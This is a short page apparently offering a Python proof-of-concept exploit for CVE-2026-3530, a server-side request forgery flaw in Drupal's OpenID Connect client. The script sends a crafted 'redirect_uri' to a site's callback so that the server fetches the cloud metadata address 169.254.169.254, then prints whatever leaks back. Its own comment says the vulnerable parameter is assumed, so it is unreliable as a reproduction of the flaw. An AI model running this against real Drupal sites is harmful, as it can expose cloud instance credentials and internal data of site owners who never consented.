CVE-2026-3530 Drupal OpenID Connect SSRF漏洞

# PoC for CVE-2026-3530 SSRF in Drupal OpenID Connect / OAuth client import requests target_url = "http://drupal-site.example.com/openid-connect/callback" # Example payload targeting an internal metadata service internal_target = "http://169.254.169.254/latest/meta-data/" # Assuming the vulnerable endpoint takes a 'redirect_uri' or similar parameter # that is eventually fetched by the server without validation. payload = { "code": "arbitrary_code", "state": "arbitrary_state", "redirect_uri": internal_target } try: print(f"Sending request to {target_url} with payload: {payload}") response = requests.post(target_url, data=payload) # Analyze response to check if the internal target was accessed if response.status_code == 200 and "meta-data" in response.text: print("[+] Potential SSRF successful! Internal content leaked.") print(response.text[:500]) else: print("[-] Exploit failed or target not vulnerable.") except Exception as e: print(f"Error occurred: {e}")